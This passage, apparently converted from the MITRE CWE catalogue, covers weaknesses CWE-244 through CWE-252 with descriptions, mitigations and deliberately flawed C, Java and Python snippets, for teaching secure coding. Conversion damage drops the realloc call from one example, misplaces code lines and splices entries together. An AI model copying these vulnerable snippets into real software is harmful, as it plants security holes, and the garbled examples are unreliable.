<td>632</td>
<td>Weaknesses that Affect Files or Directories</td>
<td>631</td>
</tr>
<tr>
<td></td>
<td>⬤</td>
<td>983</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>⬤</td>
<td>669</td>
<td>Incorrect Resource Transfer Between Spheres</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td>⬤</td>
<td>1039</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>⬤</td>
<td>979</td>
<td>SFP Secondary Cluster: Failed Chroot Jail</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td>⬤</td>
<td>1388</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**Affected Resources**

- File/Directory

**Causal Nature**

Explicit (an explicit weakness resulting from behavior of the developer)

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td></td>
<td>Directory Restriction</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP17</td>
<td>Failed chroot jail</td>
</tr>
</tbody>
</table>

---

**CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection')**

**Weakness ID:** 244 *(Weakness Variant)*

**Status:** Draft

**Description**

**Summary**

Using realloc() to resize buffers that store sensitive information can leave the sensitive information exposed to attack, because it is not removed from memory.

**Extended Description**

When sensitive data such as a password or an encryption key is not removed from memory, it could be exposed to an attacker using a "heap inspection" attack that reads the sensitive data using memory dumps or other methods. The realloc() function is commonly used to increase the size of a block of allocated memory. This operation often requires copying the contents of the old memory block into a new and larger block. This operation leaves the contents of the original block intact but inaccessible to the program, preventing the program from being able to scrub sensitive data from memory. If an attacker can later examine the contents of a memory dump, the sensitive data could be exposed.

**Time of Introduction**

- Implementation

**Applicable Platforms**

**Languages**

- C
- C++

**Common Consequences**

Confidentiality

Other

Read memory

Other

Be careful using vfork() and fork() in security sensitive code. The process state will not be cleaned up and will contain traces of data from past use.
Demonstrative Examples
The following code calls realloc() on a buffer containing sensitive data:

C Example:

```c
cleartext_buffer = get_secret();

...  
...  
scrub_memory(cleartext_buffer, 1024);
```

There is an attempt to scrub the sensitive data from memory, but realloc() is used, so a copy of the data can still be exposed in the memory originally allocated for cleartext_buffer.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>226</td>
<td>Sensitive Information Uncleared Before Release</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>227</td>
<td>Improper Fulfillment of API Contract ('API Abuse')</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>633</td>
<td>Weaknesses that Affect Memory</td>
<td>631</td>
</tr>
<tr>
<td>CanPrecede</td>
<td></td>
<td>669</td>
<td>Incorrect Resource Transfer Between Spheres</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>742</td>
<td>CERT C Secure Coding Section 08 - Memory Management (MEM)</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>876</td>
<td>CERT C++ Secure Coding Section 08 - Memory Management (MEM)</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>630</td>
<td>Weaknesses Examined by SAMATE</td>
<td>630</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

Affected Resources
- Memory

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td></td>
<td>Heap Inspection</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>MEM03-C</td>
<td>Clear sensitive information stored in reusable resources returned for reuse</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>MEM03-CPP</td>
<td>Clear sensitive information stored in returned reusable resources</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP23</td>
<td>Exposed Data</td>
</tr>
</tbody>
</table>

White Box Definitions
A weakness where code path has:
1. start statement that stores information in a buffer
2. end statement that resize the buffer and
3. path does not contain statement that performs cleaning of the buffer

CWE-245: J2EE Bad Practices: Direct Management of Connections

<table>
<thead>
<tr>
<th>Weakness ID: 245 (Weakness Variant)</th>
<th>Status: Draft</th>
</tr>
</thead>
</table>

Description

Summary
The J2EE application directly manages connections, instead of using the container’s connection management facilities.

Extended Description
The J2EE standard forbids the direct management of connections. It requires that applications use the container’s resource management facilities to obtain connections to resources. Every major web application container provides pooled database connection management as part of its resource management framework. Duplicating this functionality in an application is difficult and error prone, which is part of the reason it is forbidden under the J2EE standard.
CWE-245: J2EE Bad Practices: Direct Management of Connections

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Java

Common Consequences

Other

Quality degradation

Demonstrative Examples

In the following example, the class DatabaseConnection opens and manages a connection to a database for a J2EE application. The method openDatabaseConnection opens a connection to the database using a DriverManager to create the Connection object conn to the database specified in the string constant CONNECT_STRING.

Java Example:

```java
public class DatabaseConnection {
    private static final String CONNECT_STRING = "jdbc:mysql://localhost:3306/mysqldb";
    private Connection conn = null;
    public DatabaseConnection() {
    }
    public void openDatabaseConnection() {
        try {
            conn = DriverManager.getConnection(CONNECT_STRING);
        } catch (SQLException ex) {...}
    }
    // Member functions for retrieving database connection and accessing database
    ...
}
```

The use of the DriverManager class to directly manage the connection to the database violates the J2EE restriction against the direct management of connections. The J2EE application should use the web application container's resource management facilities to obtain a connection to the database as shown in the following example.

```java
public class DatabaseConnection {
    private static final String DB_DATASRC_REF = "jdbc:mysql://localhost:3306/mysqldb";
    private Connection conn = null;
    public DatabaseConnection() {
    }
    public void openDatabaseConnection() {
        try {
            InitialContext ctx = new InitialContext();
            DataSource datasource = (DataSource) ctx.lookup(DB_DATASRC_REF);
            conn = datasource.getConnection();
        } catch (NamingException ex) {...}
        catch (SQLException ex) {...}
    }
    // Member functions for retrieving database connection and accessing database
    ...
}
```

Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>227</td>
<td>Improper Fulfillment of API Contract ('API Abuse')</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td>700</td>
<td></td>
<td>419</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>695</td>
<td>Use of Low-Level Functionality</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td>1079</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>1001</td>
<td>SFP Secondary Cluster: Use of an Improper API</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td>1414</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Explicit (an explicit weakness resulting from behavior of the developer)

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td></td>
<td>J2EE Bad Practices: getConnection()</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP3</td>
<td>Use of an improper API</td>
</tr>
</tbody>
</table>

CWE-246: J2EE Bad Practices: Direct Use of Sockets

Weakness ID: 246 (Weakness Variant)  Status: Draft

Description

Summary
The J2EE application directly uses sockets instead of using framework method calls.

Extended Description
The J2EE standard permits the use of sockets only for the purpose of communication with legacy systems when no higher-level protocol is available. Authoring your own communication protocol requires wrestling with difficult security issues. Without significant scrutiny by a security expert, chances are good that a custom communication protocol will suffer from security problems. Many of the same issues apply to a custom implementation of a standard protocol. While there are usually more resources available that address security concerns related to implementing a standard protocol, these resources are also available to attackers.

Time of Introduction
- Architecture and Design
- Implementation

Applicable Platforms

Languages
- Java

Common Consequences
- Other
- Quality degradation

Demonstrative Examples
The following example opens a socket to connect to a remote server.

Java Example:

```java
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    // Perform servlet tasks.
    ...
    // Open a socket to a remote server (bad).
    Socket sock = null;
    try {
        sock = new Socket(remoteHostname, 3000);
        // Do something with the socket.
        ...
    } catch (Exception e) {
        ...
    }
}
```

A Socket object is created directly within the Java servlet, which is a dangerous way to manage remote connections.

Potential Mitigations

- Architecture and Design
  - Use framework method calls instead of using sockets directly.

Weakness Ordinalities

Resultant (where the weakness is typically related to the presence of some other weaknesses)

Relationships
CWE-247: DEPRECATED (Duplicate): Reliance on DNS Lookups in a Security Decision

Summary
This entry has been deprecated because it was a duplicate of CWE-350. All content has been transferred to CWE-350.

Causal Nature
Explicit (an explicit weakness resulting from behavior of the developer)

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Software Fault Patterns</td>
<td>SFP3</td>
<td>Use of an improper API</td>
</tr>
<tr>
<td>J2EE Bad Practices: Sockets</td>
<td>SFP29</td>
<td>Faulty endpoint authentication</td>
</tr>
</tbody>
</table>

CWE-248: Uncaught Exception

Description
Summary
An exception is thrown from a function, but it is not caught.

Extended Description
When an exception is not caught, it may cause the program to crash or expose sensitive information.

Time of Introduction
• Implementation

Applicable Platforms
Languages
• C++
• Java
• .NET

Common Consequences
Availability
Confidentiality
DoS: crash / exit / restart
Read application data
An uncaught exception could cause the system to be placed in a state that could lead to a crash, exposure of sensitive information or other unintended behaviors.

Demonstrative Examples
Example 1:
The following example attempts to resolve a hostname.
Java Example:
```java
protected void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException {
    String ip = req.getRemoteAddr();
}    ```
InetAddress addr = InetAddress.getByName(ip);
...
out.println("hello " + addr.getHostName());
}

A DNS lookup failure will cause the Servlet to throw an exception.

**Example 2:**
The _alloca() function allocates memory on the stack. If an allocation request is too large for the available stack space, _alloca() throws an exception. If the exception is not caught, the program will crash, potentially enabling a denial of service attack. _alloca() has been deprecated as of Microsoft Visual Studio 2005(R). It has been replaced with the more secure _alloca_s().

**Example 3:**
EnterCriticalSection() can raise an exception, potentially causing the program to crash. Under operating systems prior to Windows 2000, the EnterCriticalSection() function can raise an exception in low memory situations. If the exception is not caught, the program will crash, potentially enabling a denial of service attack.

---

**CWE-249: DEPRECATED: Often Misused: Path Manipulation**

**Weakness ID:** 249 *(Deprecated Weakness Variant)*  
**Status:** Deprecated

**Description**

**Summary**

This entry has been deprecated because of name confusion and an accidental combination of multiple weaknesses. Most of its content has been transferred to CWE-785.

**Maintenance Notes**

This entry was deprecated for several reasons. The primary reason is over-loading of the "path manipulation" term and the description. The original description for this entry was the same as that for the "Often Misused: File System" item in the original Seven Pernicious Kingdoms paper. However, Seven Pernicious Kingdoms also has a "Path Manipulation" phrase that is for external control of pathnames (CWE-73), which is a factor in symbolic link following and path traversal, neither of which is explicitly mentioned in 7PK. Fortify uses the phrase "Often Misused: Path
Manipulation” for a broader range of problems, generally for issues related to buffer management. Given the multiple conflicting uses of this term, there is a chance that CWE users may have incorrectly mapped to this entry.

The second reason for deprecation is an implied combination of multiple weaknesses within buffer-handling functions. The focus of this entry has generally been on the path-conversion functions and their association with buffer overflows. However, some of Fortify’s Vulncat entries have the term “path manipulation” but describe a non-overflow weakness in which the buffer is not guaranteed to contain the entire pathname, i.e., there is information truncation (see CWE-222 for a similar concept). A new entry for this non-overflow weakness may be created in a future version of CWE.

CWE-250: Execution with Unnecessary Privileges

<table>
<thead>
<tr>
<th>Weakness ID: 250 (Weakness Class)</th>
<th>Status: Draft</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Description</strong></td>
<td></td>
</tr>
<tr>
<td><strong>Summary</strong></td>
<td></td>
</tr>
<tr>
<td>The software performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses.</td>
<td></td>
</tr>
<tr>
<td><strong>Extended Description</strong></td>
<td></td>
</tr>
<tr>
<td>New weaknesses can be exposed because running with extra privileges, such as root or Administrator, can disable the normal security checks being performed by the operating system or surrounding environment. Other pre-existing weaknesses can turn into security vulnerabilities if they occur while operating at raised privileges.</td>
<td></td>
</tr>
<tr>
<td>Privilege management functions can behave in some less-than-obvious ways, and they have different quirks on different platforms. These inconsistencies are particularly pronounced if you are transitioning from one non-root user to another. Signal handlers and spawned processes run at the privilege of the owning process, so if a process is running as root when a signal fires or a sub-process is executed, the signal handler or sub-process will operate with root privileges.</td>
<td></td>
</tr>
</tbody>
</table>

**Time of Introduction**
- Installation
- Architecture and Design
- Operation

**Applicable Platforms**
- Language-independent

**Languages**
- Mobile Application

**Architectural Paradigms**
- Mobile Application

**Modes of Introduction**
- If an application has this design problem, then it can be easier for the developer to make implementation-related errors such as CWE-271 (Privilege Dropping / Lowering Errors). In addition, the consequences of Privilege Chaining (CWE-268) can become more severe.

**Common Consequences**
- Confidentiality
- Integrity
- Availability
- Access Control
- Gain privileges / assume identity
- Execute unauthorized code or commands
- Read application data
- DoS: crash / exit / restart
  - An attacker will be able to gain access to any resources that are allowed by the extra privileges. Common results include executing code, disabling services, and reading restricted data.

**Likelihood of Exploit**
- Medium
Detection Methods

Manual Analysis
This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Black Box
Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process and perform a login. Look for library functions and system calls that indicate when privileges are being raised or dropped. Look for accesses of resources that are restricted to normal users.

Note that this technique is only useful for privilege issues related to system resources. It is not likely to detect application-level business rules that are related to privileges, such as if a blog system allows a user to delete a blog entry without first checking that the user has administrator privileges.

Automated Static Analysis - Binary / Bytecode

SOAR High
According to SOAR, the following detection techniques may be useful:
- Highly cost effective: Compare binary / bytecode to application permission manifest
- Cost effective for partial coverage:
  - Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  - Binary Weakness Analysis - including disassembler + source code weakness analysis

Manual Static Analysis - Binary / Bytecode

SOAR Partial
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Dynamic Analysis with automated results interpretation

SOAR Partial
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Host-based Vulnerability Scanners – Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria

Dynamic Analysis with manual results interpretation

SOAR Partial
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Host Application Interface Scanner
Manual Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
  Highly cost effective:
    Manual Source Code Review (not inspections)
  Cost effective for partial coverage:
    Focused Manual Spotcheck - Focused manual analysis of source

Automated Static Analysis - Source Code
SOAR Partial
According to SOAR, the following detection techniques may be useful:
  Cost effective for partial coverage:
    Source code Weakness Analyzer
    Context-configured Source Code Weakness Analyzer

Automated Static Analysis
SOAR Partial
According to SOAR, the following detection techniques may be useful:
  Cost effective for partial coverage:
    Configuration Checker
    Permission Manifest Analysis

Architecture / Design Review
SOAR High
According to SOAR, the following detection techniques may be useful:
  Highly cost effective:
    Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
    Formal Methods / Correct-By-Construction
  Cost effective for partial coverage:
    Attack Modeling

Demonstrative Examples

Example 1:
This code temporarily raises the program's privileges to allow creation of a new user folder.

Python Example:

```python
def makeNewUserDir(username):
    if invalidUsername(username):
        #avoid CWE-22 and CWE-78
        print("Usernames cannot contain invalid characters")
        return False
    try:
        raisePrivileges()
        os.mkdir('/home/' + username)
        lowerPrivileges()
    except OSError:
        print('Unable to create new user directory for user:' + username)
    return True
```

While the program only raises its privilege level to create the folder and immediately lowers it again, if the call to os.mkdir() throws an exception, the call to lowerPrivileges() will not occur. As a result, the program is indefinitely operating in a raised privilege state, possibly allowing further exploitation to occur.

Example 2:
The following code calls chroot() to restrict the application to a subset of the filesystem below APP_HOME in order to prevent an attacker from using the program to gain unauthorized access to files located elsewhere. The code then opens a file specified by the user and processes the contents of the file.
CWE Version 2.11
CWE-250: Execution with Unnecessary Privileges

C Example:

```c
chroot(APP_HOME);
chdir("/");
FILE* data = fopen(argv[1], "r+");
...
```

Constraining the process inside the application's home directory before opening any files is a valuable security measure. However, the absence of a call to setuid() with some non-zero value means the application is continuing to operate with unnecessary root privileges. Any successful exploit carried out by an attacker against the application can now result in a privilege escalation attack because any malicious operations will be performed with the privileges of the superuser. If the application drops to the privilege level of a non-root user, the potential for damage is substantially reduced.

Example 3:

This application intends to use a user's location to determine the timezone the user is in:

Java Example:

```java
locationClient = new LocationClient(this, this, this);
locationClient.connect();
Location userCurrLocation;
userCurrLocation = locationClient.getLastLocation();
setTimeZone(userCurrLocation);
```

This is unnecessary use of the location API, as this information is already available using the Android Time API. Always be sure there is not another way to obtain needed information before resorting to using the location API.

Example 4:

This code uses location to determine the user's current US State location.

First the application must declare that it requires the ACCESS_FINE_LOCATION permission in the application's manifest.xml:

XML Example:

```xml
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
```

During execution, a call to getLastLocation() will return a location based on the application's location permissions. In this case the application has permission for the most accurate location possible:

Java Example:

```java
locationClient = new LocationClient(this, this, this);
locationClient.connect();
Location userCurrLocation;
userCurrLocation = locationClient.getLastLocation();
deriveStateFromCoords(userCurrLocation);
```

While the application needs this information, it does not need to use the ACCESS_FINE_LOCATION permission, as the ACCESS_COARSE_LOCATION permission will be sufficient to identify which US state the user is in.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2007-3931</td>
<td>Installation script installs some programs as setuid when they shouldn't be.</td>
</tr>
<tr>
<td>CVE-2007-4217</td>
<td>FTP client program on a certain OS runs with setuid privileges and has a buffer overflow. Most clients do not need extra privileges, so an overflow is not a vulnerability for those clients.</td>
</tr>
<tr>
<td>CVE-2007-5159</td>
<td>OS incorrectly installs a program with setuid privileges, allowing users to gain privileges.</td>
</tr>
<tr>
<td>CVE-2008-0162</td>
<td>Program does not drop privileges before calling another program, allowing code execution.</td>
</tr>
<tr>
<td>CVE-2008-0368</td>
<td>setuid root program allows creation of arbitrary files through command line argument.</td>
</tr>
<tr>
<td>CVE-2008-1877</td>
<td>Program runs with privileges and calls another program with the same privileges, which allows read of arbitrary files.</td>
</tr>
<tr>
<td>CVE-2008-4638</td>
<td>Composite: application running with high privileges allows user to specify a restricted file to process, which generates a parsing error that leaks the contents of the file.</td>
</tr>
</tbody>
</table>
Potential Mitigations

Architecture and Design

Operation

Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.250.2]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Architecture and Design

Separation of Privilege

Identify and Reduce Attack Surface

Identify the functionality that requires additional privileges, such as access to privileged operating system resources. Wrap and centralize this functionality if possible, and isolate the privileged code as much as possible from other code [R.250.2]. Raise privileges as late as possible, and drop them as soon as possible to avoid CWE-271. Avoid weaknesses such as CWE-288 and CWE-420 by protecting all possible communication channels that could interact with the privileged code, such as a secondary socket that is only intended to be accessed by administrators.

Implementation

Perform extensive input validation for any privileged code that must be exposed to the user and reject anything that does not fit your strict requirements.

Implementation

When dropping privileges, ensure that they have been dropped successfully to avoid CWE-273. As protection mechanisms in the environment get stronger, privilege-dropping calls may fail even if it seems like they would always succeed.

Implementation

If circumstances force you to run with extra privileges, then determine the minimum access level necessary. First identify the different permissions that the software and its users will need to perform their actions, such as file read and write permissions, network socket permissions, and so forth. Then explicitly allow those actions while denying all else [R.250.2]. Perform extensive input validation and canonicalization to minimize the chances of introducing a separate vulnerability. This mitigation is much more prone to error than dropping the privileges in the first place.

Operation

System Configuration

Environment Hardening

Ensure that the software runs properly under the Federal Desktop Core Configuration (FDCC) [R.250.4] or an equivalent hardening configuration guide, which many organizations use to limit the attack surface and potential risk of deployed software.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>227</td>
<td>Improper Fulfillment of API Contract ('API Abuse')</td>
<td>699 419</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>265</td>
<td>Privilege / Sandbox Issues</td>
<td>699 470</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>269</td>
<td>Improper Privilege Management</td>
<td>1000 478</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>657</td>
<td>Violation of Secure Design Principles</td>
<td>699 1019</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>753</td>
<td>2009 Top 25 - Porous Defenses</td>
<td>750 1146</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>815</td>
<td>OWASP Top Ten 2010 Category A6 - Security Misconfiguration</td>
<td>809 1251</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>858</td>
<td>CERT Java Secure Coding Section 13 - Serialization (SER)</td>
<td>844 1301</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>866</td>
<td>2011 Top 25 - Porous Defenses</td>
<td>900 1313</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>901</td>
<td>SFP Primary Cluster: Privilege</td>
<td>888 1332</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884 1323</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-251: Often Misused: String Management

Relationship Notes
There is a close association with CWE-653 (Insufficient Separation of Privileges). CWE-653 is about providing separate components for each privilege; CWE-250 is about ensuring that each component has the least amount of privileges possible.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td></td>
<td>Often Misused: Privilege Management</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>SER09-J</td>
<td>Minimize privileges before deserializing from a privilege context</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>69</td>
<td>Target Programs with Elevated Privileges</td>
</tr>
<tr>
<td>104</td>
<td>Cross Zone Scripting</td>
</tr>
<tr>
<td>470</td>
<td>Expanding Control over the Operating System from the Database</td>
</tr>
</tbody>
</table>

References

Maintenance Notes
CWE-271, CWE-272, and CWE-250 are all closely related and possibly overlapping. CWE-271 is probably better suited as a category. Both CWE-272 and CWE-250 are in active use by the community. The "least privilege" phrase has multiple interpretations.

CWE-251: Often Misused: String Management

<table>
<thead>
<tr>
<th>Category ID: 251 (Category)</th>
<th>Status: Incomplete</th>
</tr>
</thead>
</table>

Description

Summary
Functions that manipulate strings encourage buffer overflows.

Applicable Platforms

Languages
- C
- C++

Demonstrative Examples
Windows provides the _mbs family of functions to perform various operations on multibyte strings. When these functions are passed a malformed multibyte string, such as a string containing a valid leading byte followed by a single null byte, they can read or write past the end of the string buffer causing a buffer overflow. The following functions all pose a risk of buffer overflow: _mbsinc _mbsdec _mbsncat _mbsncpy _mbsnxtc _mbsnsset _mbsrev _mbsset _mbsstr _mbstok _mbccpy _mbsetlen

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>133</td>
<td>String Errors</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>227</td>
<td>Improper Fulfillment of API Contract ('API Abuse')</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>633</td>
<td>Weaknesses that Affect Memory</td>
<td>631</td>
</tr>
</tbody>
</table>
Nature | Type | ID | Name | Page
---|---|---|---|---
MemberOf | V | 630 | Weaknesses Examined by SAMATE | 630 982

Affected Resources
- Memory

Taxonomy Mappings
| Mapped Taxonomy Name | Mapped Node Name |
---|---|
7 Pernicious Kingdoms | Often Misused: Strings

White Box Definitions
Definition: A weakness where code path has:
1. end statement that passes the string item to a string function
2. start statement that malformed the string item
Where "malformed" is defined through the following scenarios:
1. changed to unexpected value
2. incorrect syntactical structure

CWE-252: Unchecked Return Value

Weakness ID: 252 (Weakness Base)  Status: Draft

Description

Summary
The software does not check the return value from a method or function, which can prevent it from detecting unexpected states and conditions.

Extended Description
Two common programmer assumptions are "this function call can never fail" and "it doesn't matter if this function call fails". If an attacker can force the function to fail or otherwise return a value that is not expected, then the subsequent program logic could lead to a vulnerability, because the software is not in a state that the programmer assumes. For example, if the program calls a function to drop privileges but does not check the return code to ensure that privileges were successfully dropped, then the program will continue to operate with the higher privileges.

Time of Introduction
- Implementation

Applicable Platforms
- All

Common Consequences
- Availability
- Integrity
- Unexpected state
- DoS: crash / exit / restart

An unexpected return value could place the system in a state that could lead to a crash or other unintended behaviors.

Likelihood of Exploit
Low

Demonstrative Examples

Example 1:
Consider the following code segment:

C Example:
```c
char buf[10], cp_buf[10];
fgets(buf, 10, stdin);
strcpy(cp_buf, buf);
```

The programmer expects that when fgets() returns, buf will contain a null-terminated string of length 9 or less. But if an I/O error occurs, fgets() will not null-terminate buf. Furthermore, if the
end of the file is reached before any characters are read, fgets() returns without writing anything to buf. In both of these situations, fgets() signals that something unusual has happened by returning NULL, but in this code, the warning will not be noticed. The lack of a null terminator in buf can result in a buffer overflow in the subsequent call to strcpy().

**Example 2:**
In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed:

**C Example:**

```c
int returnChunkSize(void *) { /* if chunk info is valid, return the size of usable memory, */
    * else, return -1 to indicate an error */
    ...
}
int main() {
    ...
    memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
    ...
}
```

If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

**Example 3:**
The following code does not check to see if memory allocation succeeded before attempting to use the pointer returned by malloc().

**C Example:**

```c
buf = (char*) malloc(req_size);
strncpy(buf, xfer, req_size);
```

The traditional defense of this coding error is: "If my program runs out of memory, it will fail. It doesn't matter whether I handle the error or simply allow the program to die with a segmentation fault when it tries to dereference the null pointer." This argument ignores three important considerations:

- Depending upon the type and size of the application, it may be possible to free memory that is being used elsewhere so that execution can continue.
- It is impossible for the program to perform a graceful exit if required. If the program is performing an atomic operation, it can leave the system in an inconsistent state.
- The programmer has lost the opportunity to record diagnostic information. Did the call to malloc() fail because req_size was too large or because there were too many requests being handled at the same time? Or was it caused by a memory leak that has built up over time? Without handling the error, there is no way to know.

**Example 4:**
The following examples read a file into a byte array.

**C# Example:**

```c
char[] byteArray = new char[1024];
for (IEnumerator i=users.GetEnumerator(); i.MoveNext() ;i.Current()) {
    String userName = (String) i.Current();
    String pFileName = PFILE_ROOT + "/" + userName;
    StreamReader sr = new StreamReader(pFileName);
    sr.Read(byteArray,0,1024);//the file is always 1k bytes
    sr.Close();
    processPFile(userName, byteArray);
}
```
CWE Version 2.11
CWE-252: Unchecked Return Value

Java Example:

```java
FileStream fis;
byte[] byteArray = new byte[1024];
for (Iterator i=users.iterator(); i.hasNext();) {
    String userName = (String) i.next();
    String pFileName = PFILE_ROOT + "\" + userName;
    FileInputStream fis = new FileInputStream(pFileName);
    fis.read(byteArray); // the file is always 1k bytes
    fis.close();
    processPFile(userName, byteArray);
}
```

The code loops through a set of users, reading a private data file for each user. The programmer assumes that the files are always 1 kilobyte in size and therefore ignores the return value from Read(). If an attacker can create a smaller file, the program will recycle the remainder of the data from the previous user and treat it as though it belongs to the attacker.

Example 5:
The following code does not check to see if the string returned by getParameter() is null before calling the member function compareTo(), potentially causing a NULL dereference.

Java Example:

```java
String itemName = request.getParameter(ITEM_NAME);
if (itemName.compareTo(IMPORTANT_ITEM)) {
    ...
}
...
```

The following code does not check to see if the string returned by the Item property is null before calling the member function Equals(), potentially causing a NULL dereference.

```java
String itemName = request.Item(ITEM_NAME);
if (itemName.Equals(IMPORTANT_ITEM)) {
    ...
}
...
```

The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or simply allow the program to die dereferencing a null value." But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.

